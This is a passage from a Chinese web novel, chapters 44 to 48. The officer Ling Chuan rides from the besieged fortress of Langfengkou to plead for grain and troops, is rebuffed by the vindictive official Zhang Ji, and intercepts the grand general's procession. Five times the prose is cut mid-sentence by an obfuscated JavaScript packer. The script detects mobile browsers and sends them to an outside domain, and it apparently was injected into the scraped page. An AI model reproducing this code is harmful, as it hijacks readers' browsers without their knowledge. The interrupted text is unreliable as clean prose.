“末将领命!”霍元青朗声答道。 显然,这一次拓跋桀是铁了心要先将狼烽口这根抵在咽喉的毒刺拔除,只有这样,他的南征计划才能顺利展开。 紧接着,拓跋桀又下达了第二道命令:“兀烈,博尔术,你二人各率两万兵马,朝老龙口与朝天垭逼近,不必进攻,只需牵制住漠北的主力军即可!” 他此举的意图很明显,一旦霍元青攻破狼烽口,他们便可以顺势出兵,直接与漠北主力军开战。 他等这一天已经等了很久了,如今,朝中也陆续传出对自己不满的声音,若再不能攻破大周的北疆防线,估计自己南征主帅的位置不保。 狼烽口,陈暻垚却是眉头紧锁,三日前,亲兵便带回消息,粮草和援军近几日就会到,可到现在都没有半点动静。 看来,自己之前的猜测十有**是成真了,这一次,非但援军到不了,就连粮草也悬了。 如今,狼烽口的粮草还能支撑五天,他不得不做两手打算,一方面节省开支,另一方面则是派人去市集和周边城镇购买军粮。 好在节度府一直存放了一笔银子在他这里,用以奖赏战功。 可北疆受战乱影响,老百姓家里的余粮也不多,就算能采买到,也不是长久之计。 就在这时,亲兵来报,刚刚得到消息,一千精骑外加两千悍卒于五日前离开斡拏城大营,直奔狼烽口而来。 而且,这次领兵主将是霍元青。 此人同为拓跋桀麾下七大战将,且位列第三,最主要的是,他父亲霍怀恩本是周人将领。 霍怀恩原为云州都尉,正元十七年携《朔方布防图》叛投胡羯,此人精兵法,投敌之后便被任命为南征先锋,连破北境十三城! 如今,援军肯定是指望不上了,他们唯一能做的,便是做好充足的战前准备,靠这 五百人死守。 尽管这一次攻打狼烽口的敌军数量不是最多的,但却是拓跋桀麾下的精锐,领军之人更是熟读《攻城武纪》的霍元青,可以想象,这绝对是一场苦战。 接下来,狼烽口所有人除了训练之外,也在紧锣密鼓地备战。 对于接下来的这场大战,全军上下都不敢有丝毫懈怠。 “按照敌军当前的行军速度,最迟三日便会抵达狼烽口,诸位觉得,这一战应该怎么打?”陈暻垚目光凝重地看着几人,问道。 众人面面相觑。 事实上,这样的守城战,每年都会发生很多次,能想到的方法,基本上都用过了,像上次凌川这一招请君入瓮算是一个奇招,但,这样的战术,只能用一次,第二次就不灵了。 “凌川,你说说看!”见其他人不说话,陈暻垚直接点名。 凌川苦笑着摇了摇头,说道:“除了死守,我也想不到其他办法!” 没援军,没粮草,五百军卒对三千精锐,可想而知这一战有多艰难。 别的不说,对方哪怕是耗,也能耗到他们矢尽粮绝。 熊广、朱骞等几名标长眼神中写满了愤懑与失望,伍兴邦更是直接问道:“校尉大人,卑职有句话不知当讲不当讲!” “老伍,大家都是出生入死的兄弟,有什么话直说无妨!”陈暻垚点头道。 伍兴邦深吸了一口气,说道:“校尉大人,咱们几百号兄弟在这里拼命死守,人家却对咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947959|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的生死不管不顾,真的值吗?” 此言一出,现场顿时陷入了沉寂,熊广、朱骞、乃至甲标标长耿良,都同时将目光看向陈暻垚。 “我知道大家心里都在想什么!”陈暻垚直视几人的目光,继续说道:“我更清楚,如今的大周,权臣当道、军权旁落,天子早已被架空,地方更是士族林立、乡绅遍地,无论怎么看,大周都是大厦将倾、气数将尽!” 此言一出,几人不由得内心一紧,毕竟,陈暻垚这番话足以用大逆不道来形容。 陈暻垚目光坚定,继续说道:“你们说得没错,我们在这里与敌人拼死拼活,可节度府却冷眼旁观,估计我们全部战死狼烽口,最终却连为我们收尸的人都没有,我也觉得不值!” “可你们有没有想过,我们露宿风雪,镇守国门,不仅仅是为了龙椅之上那位天子,也不是为了大周皇族,更不是为了那些自诩中流的世家豪门,而是为了为关内千万黎庶,为了种族血脉!” 紧接着,凌川话锋一转:“我们可以弃城而逃,可狼烽口的百姓呢?他们怎么办?如果大周所有将士都跟我们一样不战而逃,天下百姓将沦为胡羯人的刀下亡魂,**河山将会成在胡贼马蹄之下的碎片!” “届时,神州陆沉山河破碎,社稷丘墟生灵涂炭,届时被残忍杀害的无辜百姓中必然有我们的父母妻儿,被踏碎的不仅仅是**青岳,还有我们华夏之嵴梁!”陈暻垚满脸严肃地看着几人,问道:“诸位,如果狼烽口注定守不住,就让胡贼踏着我们的尸体入关!” 全场鸦雀无声,但内心确实惊涛翻滚,陈暻垚的这番话,宛如一声声惊雷在耳畔炸响。 哪怕是凌川,此刻内心也无法保持平静,尽管他对于大周乃至这个世界并无归属感,但,也不是真的了无牵挂,至少还有苏璃是他放不下的,同样,前世的他同为一名军人,守护的是国家和人民,陈暻垚的这番话无疑是让他内心产生了共鸣。 看得出来,陈暻垚并非读死书的书呆子,而是真正心怀天下的读书人。 第44章 大战将至! “校尉大人,你别说了,我……伍兴邦一时间愧疚得无以言表。 另外三人同样是满脸羞愧,内心也暗下决心,就算是血溅狼烽口,也绝不当逃兵。 耿良站起身来,目光坚决地说道:“校尉大人说得对,胡贼想要入关,除非踏着我们的尸体进来! “男子汉大丈夫,何惧一死!更何况,能与兄弟们死在一起,也算是死得其所!熊广满脸豪情,说道。 凌川没有表态,他知道,想要守住狼烽口,仅靠一腔热血是远远不够的,还得有足够的实力。 可思来想去,唯一能破局的,就只有漠北节度府了。 不用想也知道,肯定是章绩在从中作梗,就算陈暻垚亲自去漠北要兵要粮都没用,对方表面答应,可私底下以各种借口拖延个十天半月。 狼烽口根本拖不起,别的不说,这几百号人每天吃的就是一个大难题,正所谓兵马未动粮草先行,连军粮都没有,还谈什么守城? “我去漠北!凌川站起身来,淡淡说道。 此言一出,所有人都转过目光看着他,凌川一脸平静地说道:“章绩之所以处处刁难,都是因为我,我去见他,看能否化解这场矛盾! 其他几人点了点头,眼下,这也是唯一的办法了,只有陈暻垚目光凝重。 众人散去,陈暻垚唯独留下了凌川。 “你想干什么?你知不知道,一旦到了漠北,章绩随时都能要你的命! “我知道,章绩想要我的命给刘武报仇,但我总得试一试!而且,他想要我的命,也不是那么容易!凌川坦然回答道。 “不行,你要是有个三长两短,我怎么跟小璃交代?陈暻垚依旧不同意。 凌川拍了拍他的肩膀,说道:“放心,这次我自己跟她说! “昔年定远侯三十六骑定西域,今日我凌川独闯节度府! 凌川十分豪迈地丢下这么一句话,便离开了校尉营。 此时,梁盛、李长隆等几名什长以及余生已经在营外等候,凌川没有废话,直入主题: “从现在开始,梁老哥担任戊标标长,余生顶替你的位置! 几人神色一变,连忙问道:“标长,那你呢? 一开始的时候,梁盛确实有争夺标长之位的心思,可随着这段时间凌川展现出来的能力,他内心彻底服气,正如当初所言,对于凌川的命令,他都无条件执行。 “我去一趟漠北节度府! “标长,那章大人明显是不 怀好意,你一个人去节度府太危险了,要不我带几个兄弟陪你一起去!”余生满脸担心地说道。 “狼烽口大战在即,正是用人之际,而且,对方真要杀我,就算把狼烽口这五百人全部带上都无济于事!” 凌川看着几人,继续说道:“你们记住,此战关乎民族的生死存亡,一旦狼烽口失守,胡羯铁骑将长驱直入,马踏中原,到那时候,整个北境都将生灵涂炭、民不聊生!” 几人用力点头,保证道:“标长放心,只要我们还有一口气在,定会守住狼烽口!” 回到家中,凌川便看到楚北跟往常一样坐在小板凳上发呆,自从将楚北带回来之后,这个小院更像一个家了,只可惜这小家伙一直闷闷不乐,动不动就坐在那里发呆。 苏璃十分心疼,却也没有好的办法。 吃饭的时候,苏璃见凌川欲言又止的样子,便柔声问道:“相公可是觉得这饭菜不合口味?” 凌川笑着摇了摇头:“娘子的手艺越来越好了,怎会不合口味!” “那我看相公似乎胃口不佳,可是有心事?” 凌川放下碗筷,一脸认真地说道:“我要去一趟节度府,想办法要来粮草和援军,为狼烽口解围!” 苏璃神色略微紧张,说道:“父亲说过,大丈夫生于天地之间,当有所为,有所必为!” 凌川心疼地拉着她的手,说道:“娘子,如果,如果我未能要来援兵,狼烽口若是失守……” 凌川的语气从未像现在这般沉重,以至于话到了嘴边却无法说出来。 苏璃温柔笑道:“相公,小璃本是戴罪之身,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947960|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死在发配之路上已是上天眷顾,没曾想竟让我遇到了相公你,虽然我们相处不足一月,却是小璃心中最幸福的时光!” “如果狼烽口真的守不住,那小璃便与相公一起共赴黄泉,来世再做夫妻!” “娘子!”凌川的声音在颤抖,眼眶湿润。 “相公!”苏璃竟然一把搂着凌川,离别的深情尤为刻骨。 饭后,凌川来到屋外,也搬了一个小板凳坐到小北身边。 “小北,我要出门一趟,家里就剩你一个男人,你可得保护好你婶婶!” 小北沉默半晌,随即用力点头说道:“好!” 次日清晨,天蒙蒙亮,凌川便背上破甲弓跨上战刀出发了,他没有惊动任何人,甚至都没有与熟睡着的苏璃道别。 殊不知,他刚出门,苏璃便起身来到门口,看着他的背影远去。 “相公,小璃在家等你,一直等!”苏璃低声喃喃道,两行清泪从眼角滚落而下。 骑上战马,凌川便径直朝着漠北大营而去,前身自幼生活在北疆一代,马术自是不错,凌川也很快就适应了下来。 狼烽口距离北疆节度府足有三百里,虽是战马,但地面上冻,需要一整日才能抵达。 而就在当日中午,胡羯大军便已经抵达狼烽口以北十里处,在命令大军在此扎营。 霍元青不愧为沙场老将,从小更是跟随父亲在战场上摸爬滚打,其经验之丰富,远非巴查尔兄弟所能比的。 抵达的第一时间,他便将大批斥候给撒了出去,势必要将整个狼烽口周围的形势摸清楚。 尽管有行军地图,但他更相信自己,而且,这一次,拓跋桀还将一件大杀器交给了他,由此可见,主帅对于狼烽口是志在必得。 由于狼烽口的地势特殊,根本容纳不下太多兵力,三千就已经是极限,所以,他这一次带来的全部都是精兵良将,毕竟,自己出征之前可是立下军令状的。 他给斥候的命令是,只需查清楚狼烽口周围的所有地形,同时,将周军安插的那些暗哨全部抹掉即可,不要贸然行动。 第45章 龙脊关,飞龙城! 年近五十的霍元青立身一处雪丘之上抚摸着父亲留下的佩刀遥望狼烽口方向。 想当年父亲带着他与数百残兵叛出大周投靠了胡羯尽管单于依照之前的承诺让他执掌一军但他心里很清楚这些年胡羯无论是庙堂官员还是军中将领都看不起他们父子二人每次单于设宴他们父子都只能坐在末席。 父亲去世之后他顶替了父亲的位置继续执掌一军哪怕历经了三十年连他自己都已经把自己当成了胡羯人可在真正的胡羯人眼里他们的脸上依旧写着‘叛徒’二字。 所以他急需这场胜仗来稳固自己的地位同时让胡羯的其他将领知道这狼烽口其他人攻不下他霍元青能。 狼烽口并不雄伟可地势极为险要只有一条狭窄的雪谷可通往城下这也导致了大型攻城器械运不进去。 虽然城墙之上有一片早期河谷冲刷出来的开阔地但面对那足有十丈高的城墙再好的**亦难奏效。 但他对这一战却是志在必得不仅是对麾下三千精兵有着足够自信更是对自己有着绝对的信心。 事实上就在他赶往狼烽口的同一时间兀烈跟博尔术着两名战将也行动起来各率两万大军朝着老龙口和朝天垭逼近此举只有一个目的那就是牵制漠北的周军主力防止他们发兵驰援狼烽口。 虽然霍元青之率领三千兵力但他很清楚这一次自己才是主角。 只要一战攻破狼烽口自己便可以将那些轻视自己的人踩在脚下。 凌川一路狂奔中途也只是在驿站饮马添料的时候休息一下其余时间基本上都没停过。 终于他迎着夕阳的最后一缕余晖在日落之前远远看到了龙脊关高耸的城墙远远看去宛如一头巨兽匍匐在大漠之上凝视北方。 龙脊关后方便是大周北疆最大的城池之一飞龙城! 这座城已有千年历史最初是中原与草原部落之间互通商贸逐渐发展起来的集市前朝为抵御北方诸敌在此筑起一道雄关名为龙脊关。 如果说 近十丈高的城墙宛如绝壁四方瓮城格局与厚重的城门无不彰显着它的坚固。 夕阳下五里瓮城的悬门铁索泛着冷光恰如横卧龙脊。 据说当年修建这座雄关出动了十万民夫将祁连山的 一条支脉都给挖平了,大量巨石被搬运至此,历时数年才建造完工。 凌川在城门关闭之前赶到,他翻身下马,向守城士兵出示了自己的边军腰牌。 那人一看,神色微微一变,上下打量着凌川,问道:“你就是狼烽口那个先后斩杀两位敌将的凌川?” “正是!”凌川点头回答道。 不远处那名校尉闻言,也起身走了过来,神色中带着几分尊敬之色。 “凌兄弟,我等在龙脊关可是久闻你的大名,今日得见没想到这么年轻!” 凌川没想到,自己的事迹连飞龙城都知道了,笑着回应道:“校尉大人言重了!” 那名校尉将腰牌递给凌川,问道:“兄弟如此风尘仆仆,可是有紧急军情?” 凌川点了点头,说道:“实不相瞒,确实有军情需上报节度府,可惜,小弟初次到飞龙城,还望校尉大人给指指路!” “好说,反正城门都要关了,我这就带兄弟去!”说完,他让手下人准备关闭城门,而自己则是牵来一匹战马,带着凌川入城。 这是凌川第一次来飞龙城,此前只是听说龙脊关如何雄伟,飞龙城如何繁茂,入城之后,他才真正见识到。 街道两旁的商铺酒楼一片繁华,只是此时已经夜幕,很多商铺都在插门板准备打烊,紧接着,凌川注意到,几栋明显比周围建筑更高,装饰也更为华丽的楼房反而是人来人往。 数座彩楼灯火通明,楼上女子皆梳惊鹄髻、披泥银帛,凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947961|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栏笑招行人——门匾‘明月楼’三字在羊角灯下泛着暧昧的粉光。 饶是凌川第一次见,也明白这是何地。 边关城不比内地,没有城内不许纵马的规定,毕竟,时有军情来往。 此时,凌川也终于明白,对方为何要骑马带自己前来,从城门一路走来,虽然只是骑行并未狂奔,但足足一刻钟都还没到目的地。 交谈中,凌川得知对方名叫江来,幽州人士,从军七年。 “凌兄弟,前面就是节度府了,我只能送你到这里,后会有期!”江来勒住缰绳,指了指前方那栋巍峨建筑,说道。 凌川也抱拳感激道:“多谢校尉大人一路护送,等回头有机会,我请你喝酒!” 江来爽朗一笑:“哈哈,那我可就记下了!” “一言为定!”凌川说道。 来到节度府外,凌川禀明来意之后,那名卫兵让他稍等,自己则是前去通报。 很快,那名卫兵便去而复返,对他说道:“几位参军大人正在处理要务,让你先等着!” 凌川虽然心里着急,但也只能等着。 一整天来,奔袭整整三百里,他早已是人困马乏、饥寒交迫,战马已经被牵下去喂养,而他也蹲在门外,嚼起了携带的干粮。 凌川足足等了两个时辰,依旧不见传唤,他询问了几次,得到的结果依然是让他等着。 他不得不怀疑,这是章绩在故意针对自己,虽然自己并未对那名卫兵表明身份,但这种地方,遍地是眼睛,说不定章绩早就知道是自己来了。 “几位参军大人已经回去休息了,要不你还是明天来吧!”那名卫兵对凌川说道。 对于这个结果,凌川并不感到意外,事实上,他很清楚此行绝不可能一帆风顺,来的路上他也做过各种各样的假设。 “多谢!”凌川点了点头,随即起身离去。 第46章 章绩的刁难! 凌川走在大街上孤零零的身影带着几分落魄。 就在这时身后传来铜铃声转身一看竟是一辆马车朝着他这边而来凌川连忙让至一边可那马车却径直在他面前停了下来。 正当他疑惑之际车帘被掀开一角借助车内的灯光凌川看到了一张熟悉面孔。 “上车吧!”章绩冷漠的声音传来。 凌川犹豫了一下还是登上了马车。 赶车的随从卫兵抽动马鞭马车再次前行。 “我知道你是为粮草和援兵而来!”章绩把玩着手中的玉扳指淡淡瞥了凌川一眼说道。 “胡羯三千精兵已经抵达狼烽口外随时准备发起攻城仅靠五百兵卒根本抵挡不住而且所余粮草最多只能坚持三日请大人立刻发兵发粮!”凌川满脸诚恳之色说道。 章绩冷笑一声说道:“你说这些五日前我就已经知晓而且我只需一道命令援军粮草不过我有一个条件!” “大人请讲!只要是卑职能做到的义不容辞!” “很简单!”章绩抬起阴冷的目光看着凌川说道:“用你腰间的战刀自刎为刘武陪葬!” 对于这个要求凌川并不感到意外只是他没想到对方为了一己私利竟然置狼烽口五百士卒和成千上万百姓的生命于不顾。 难怪大周气数将尽这种视边军将士与百姓生死为儿戏全然不顾大局之人在军中掌权大周不衰才怪。 不过现在毕竟的有求于人凌川只能尽可能地放低姿态 “大人上次卑职已经说得很清楚了刘武之死与我无关!” 章绩脸上笑意更冷了几分说道:“你说的是你说的信不信则是我的事!” “大人狼烽口危在旦夕一旦狼烽口失守胡羯铁骑便再无阻碍直逼龙脊关!”凌川再次抱拳朗声说道:“还望大人公私分明切莫延误了军机!” 听闻此言章绩眼神一凝一抹怒意迸射而出直逼凌川问道: “你是在教我做事吗?” “卑职不敢!” “我最后再问你一遍是你自己死还是狼烽口五百军卒替你死?” 章绩死死盯着凌川说道:“你若自刎我连夜发兵驰援狼烽口!” 是自己死还是狼烽口五百兵卒替他死? 这一瞬间凌川的内心出现了一丝动摇不过这个念头刚一出现的瞬间便被其抹杀了。 无论是前世还是 今生,身为一名军人,若是血染沙场、马革裹尸那也就罢了,又岂能死在这种小人手中? “大人的要求,属下办不到!”凌川不卑不亢地说道。 “那就让狼烽口五百兵卒等死吧!”章绩声音淡然,可眼神中的杀意却丝毫不加掩饰。 凌川站在路边,看着那辆渐行渐远的马车,内心的杀意逐渐收敛,刚才在马车里面,凌川曾想过挟持章绩,以此来要求他发兵发粮,可终究还是忍住了。 凌川来的一家酒馆,要了些吃的外加一壶酒,既然章绩这条路走不通,那就只能想其他办法了,毕竟事关狼烽口五百边卒和成千上万百姓的生死存亡,他不能轻言放弃。 酒馆不算大,但生意却不错,哪怕是这个点,依旧还有好几桌客人。 “听说了吗,胡贼出动两路大军,直奔老龙口和朝天垭而来!”一名酒客开口说道。 “是啊!以往不都是开春之后才开战的吗?今年胡羯人为何这般着急?”同桌之人十分疑惑地问道。 不远处,凌川听到这个消息不由得为之一惊,直觉告诉他,这两支胡羯军团的出动,是为狼烽口的霍元青打掩护,同时拖住飞龙城的主力大军。 当然,若是漠北主帅卢恽筹不予应对,这两支军团边有可能假戏真做,直接对老龙口和朝天垭发动进攻。 这让他内心为之一紧,因为胡羯兵分三路,出动如此规模的兵力,必然是对狼烽口志在必得。 正当他一筹莫展之际,一道声音在身边响起:“这位兄弟,能否拼个桌?” 凌川抬头一看,只见一名四十出头的男子站在身旁,身着一件洗得发白的月白襕衫,正面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947962|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带笑意地看着他。 “请坐!”凌川做了一个请的手势。 男子在凌川对面的位置坐了下来,指了指他的酒壶,又说道:“能否讨一杯酒喝?” 凌川看了他一眼,随即放下筷子,给他倒了一杯酒。 男子身着月白襕衫,一把青须平添了几分儒雅,不过,他与陈暻垚却又有些不同。 前者历经战场磨砺,儒雅之气虽还在,却多了几分铁血之气,然此人的儒雅似乎已经可入骨子里,让人一眼就能辨认出,他是读书人。 这一点,凌川从他那双修长匀称的手指,便得到了印证。 男子见凌川眉头紧锁,不由开口问道:“这位兄弟,似乎有些心事,不知能否对我这个萍水相逢之人说道一二!” 凌川放下筷子,又给自己倒了一杯酒,叹息道:“人生不如意十之**,能与人言者不足二三,让先生见笑了!” 中年男子眼神中闪过一丝诧异,没想到这少年竟然张口便说出如此富有哲理的话来。 “好一个人生不如意十之**,能与人言者不足二三,这杯我敬你!” 凌川也端起酒杯,与他轻轻碰了一下,便尽数饮入腹中。 中年男子捋了捋胡须,试着问道:“见小兄弟披甲执刀,定是边军士卒,深夜独酌,莫不是思乡心切?” 凌川摇了摇头,说道:“国若不存,家将何在?” 男子神色再次一变,若非饱读圣贤之书,又岂能出口成章,只言片语间尽是大道理? 国若不存,家将何在! 寥寥八个字,却让他反复咀嚼,如此简单的道理,可偌大的帝国满朝文武,又有几人真正明白? “想不到小兄弟也是读书人,我真是看走眼了!” 凌川摇头苦笑道:“先生莫要折煞我了,我不过是比普通人多读了几本书,算不得读书人!” “在下姓叶,青州人氏,还未请教小兄弟名讳!”中年男子拱手说道。 “凌川见过叶先生!”凌川也拱手回礼。 第47章 叶先生! 中年男子笑着捋了捋胡须说道:“在下求学之时顺带学了些占卜之术既然小兄弟请我喝了酒那我就送你一卦或许能帮你指条明路!” 凌川自是不信卦象之说不过眼下也不好驳了对方的面子便笑着点头道:“还望先生指点迷津!” 中年男子掐诀念咒而是一脸淡笑地看着他说道: “你当下必是遇到难题想来飞龙城求助奈何处处碰壁求助无门!” 凌川眼神中闪过一丝诧异饶有深意地看着对方他脑海中的第一个念头便是对方知晓自己的底细。 不过看此人并无恶意他也没有揭穿而是主动给其倒了一杯酒。 叶姓男子没有理会酒杯而是看着凌川问道:“凌兄弟叶某算得可还准确?” 凌川笑了笑既没否认也没肯定“那叶先生所说的明路是指?” 叶姓男子拿起一支筷子蘸起酒水在桌上写道:“明日午时五里亭!” 随即他将杯中酒一饮而尽起身抱拳道:“凌兄弟叶某告辞!” 凌川起身相送却被对方伸手制止说道:“谋事在人成事在天后会有期!” 明日午时五里亭。 凌川将这句话牢牢记在心里尽管他不明白这句话是什么意思但他相信对方绝不是信口开河。 同样凌川也可以肯定对方肯定是知道自己身份的而且他极有可能来自节度府。 至于对方为何会指点自己他目前还猜不到。 当然他也不是没想过对方会对自己不利可思来想去整个节度府就只有章绩想要自己死但以章绩那高高在上的姿态肯定不会多此一举。 毕竟在他的眼里自己不过是一只蝼蚁他不会亲自动手而是让自己主动赴死。 当晚 次日天刚蒙蒙亮凌川便起床吃了点东西之后径直朝着五里亭赶去。 所谓五里亭便是从飞龙城南门往南五里之处的一座凉亭。 骑马不过片刻凌川便远远看到一座凉亭孤零零地立在大漠之上。 时间尚早凌川只能坐在凉亭之中等候。 这里虽不如狼烽口那么冷但毫无遮挡的寒风依旧如刀子一般割脸凌川只能围着凉亭跑步一方面可以暖和些同时就权当是体能训练。 午时刚到飞龙城方向便传来一阵马蹄 声,凌川驻足一看,只见十余骑飞快朝着这边奔来。 他连忙回到凉亭,凝视着那飞奔而来的十余骑,随着对方靠近,凌川发现,领头那人似乎有些面熟。 那人似乎也认出了凌川,顿时放慢了马速,盯着他。 “凌川兄弟,真的是你!” 凌川也认出对方正是昨日领自己到节度府的校尉江来,连忙迎了上去,“校尉大人,我们又见面了!” 江来翻身下马,拍了拍凌川的肩膀,问道:“你怎么在这里?” 凌川一时语塞,不知如何回答,总不能说是有人算卦,让自己来这儿的吧? 不过,回头一想,叶先生莫非是让自己在这里等江来? 可想想不对啊,江来只是一个校尉,职位远无法和章绩相比,根本帮不到自己。 凌川尴尬笑了笑,连忙岔开话题,问道:“我见你们行色匆匆,这是有什么紧急军情吗?” 江来也没隐瞒,说道:“大将军要前往大营调兵,前往老龙口和朝天垭御敌!” 凌川闻言,顿时眼前一亮,问道:“你是说,大将军会路经此地?” “嗯!大将军就在后面,我等先行前去大营传信,让他们准备好!”江来点头说道。 凌川顿时喜出望外,难怪,昨晚在酒馆,叶先生说,自己来这里或许能找到一条明路,原来是大将军卢恽筹今日要路过此地。 这也让凌川更加坚信,那位叶先生就是节度府的官员,而且,在军中职位还不低,至少也是能接触到大将军的人,否则绝不可能得知大将军的行踪。 “凌兄弟,军务在身,就不与你多聊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947963|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我先行一步!”江来拍了拍凌川的肩膀,翻身上马。 凌川抱拳说道:“校尉大人正事要紧,就此别过!” 江来带着十余骑快速离去,溅起漫天飞雪。 凌川在亭中来回踱步,现在已经知道,大将军要路过此地,自己要做的就是将其拦下来,这是他唯一的机会。 可如何才能拦下大将军,这是最大的问题。 要知道,贸然拦路,那是有可能被就地格杀的。 就在这时,官道之上再次传来马蹄声,比之前更为密集,仅从声音上来判断,不少于两百骑。 很快,一支身披铁甲的队伍便出现在凌川的视线之内,一面玄色大旗之上绣着一个硕大的‘盧’字,在风中猎猎作响。 随着队伍越来越近,凌川一眼便看到,队伍中间那道身着将军甲的身影,并非是他身躯有多高大,而是那身麒麟载道山河胄太过于耀眼。 头顶红缨飞舞、凤翅眉庇与麒麟头肩吞尽显威武之气,裈甲鹘尾一应俱全,这些是普通将士的铠甲是绝对没有的。 随着队伍越来越近,凌川还看到,大将军卢恽筹身边的一道身影,赫然是章绩。 之所以能在队伍中找到他,是因为他是队伍中为数不多的几个不穿铠甲的人。 眼见队伍距离自己不足两百步,凌川也来不及多想,直接冲到官道中间,单膝跪地抱拳喊道: “狼烽口标长凌川,求见大将军!” 尽管凌川已经将声音提到最高,却还是被淹没在如雷的马蹄声中。 两百步的距离眨眼即至,凌川却依旧跪在官道中间,哪怕冒着被马蹄踩死的风险,他也没有避让的意思。 “何人挡道,速速闪开!” 亲兵营校尉怒喝一声,只见他驱马上前,手中**径直朝着凌川刺来。 面对这疾刺而来的**,凌川不闪不避,直到那枪锋之上的寒芒距离凌川脖子不足一尺的时候,他猛然出手,一把抓住枪库。 第48章 冒死拦路! 那名亲兵校尉神色一变,要知道,自己驭马狂奔而来,这一枪的力量何其恐怖,可对方却一把稳稳将其抓住,任由自己如何发力,**都难以刺进分毫。 前排亲兵迅速上前,将凌川围了起来,紧跟其后的大将军卢恽筹也被逼停,身旁的亲兵纷纷拔刀将其护在中间。 章绩一眼就认出了凌川,只见他眼神之中闪过一丝阴冷的杀意,没想到这小子竟然找到了这里。 正当他准备下令将其就地格杀的时候,一道声音抢先发出: “你是何人的部下,竟敢拦大将军的路,想死吗?” 凌川只感觉这声音有些熟悉,循声望去,只见一名身着长衫的男子,位于大将军左侧,他与章绩一样,都未披甲,正是昨晚与自己在酒馆相遇的叶先生。 果然,如自己猜测那般,他是大将军身边之人,从衣着来看,应该跟章绩一样,都是大将军麾下的参军。 叶先生看似呵斥,可话却说得很讲究,直接问他是何人的部下,这相当于告诉大将军,此人也是北疆军卒,相当于给了凌川一道护身符。 章绩眼神之中杀意更浓,他决不允许凌川见到大将军,只见他对着亲兵校尉说道:“樊校尉,此人来历不明,以下犯上,定是心怀不轨,给我拿下!” 然而,大将军卢恽筹却抬手制止了他,“慢着!” 说完他径直驱马前行,章绩内心焦急,连忙道:“大将军,此人怕是要对你不利,切莫靠近!” “哈哈哈哈……”卢恽筹大笑一声,说道:“老夫征战半生,什么刀山火海没蹚过,区区一个少年,又何足道哉?” 说完,他一夹马腹,缓缓来到凌川面前。 “你是何人?”卢恽筹端坐于战马之上,居高临下地看着凌川。 “属下狼烽口陈暻垚麾下标长,凌川,求见大将军!”凌川将自己的标长腰牌高高举起,朗声答道。 听到凌川这个名字,卢恽筹神色微微一变,因为,就在前不久,他曾在请功簿上见到过这个名字,连杀胡羯两位主将,让他印象深刻。 不过,他并没有问凌川求见自己所为何事,而是沉声问道:“你可知,延误军机该当何罪?” “情况紧急,属下也是迫不得已!” “带他去大营!”卢恽筹说完,马鞭一挥,径直从凌川身边疾驰而过。 一众亲兵也都纷纷跟上,叶先生全程都没有多看凌川一眼,仿佛压根不认识,反倒是章绩路过之时狠狠剜了凌川一眼。 留下的两名走上 前来,先是卸掉了他的弓箭与战刀,然后说道:“跟我们走吧!” 凌川骑上自己的战马,紧跟着前方的队伍,两名亲兵一左一右将其夹在中间。 这两人神色冷漠,全程一言不发,始终落后凌川半个马位,眼角余光死死盯着他的一举一动。 从五里亭到漠北大营,只有不足三里路程,很快便抵达。 凌川远远便看到一座巍峨辕门,后方是上百座营房宛如延绵起伏的山脉。 此前,凌川便了解到,漠北大营不仅是北疆最大的驻军营地,武库也都设立在此。 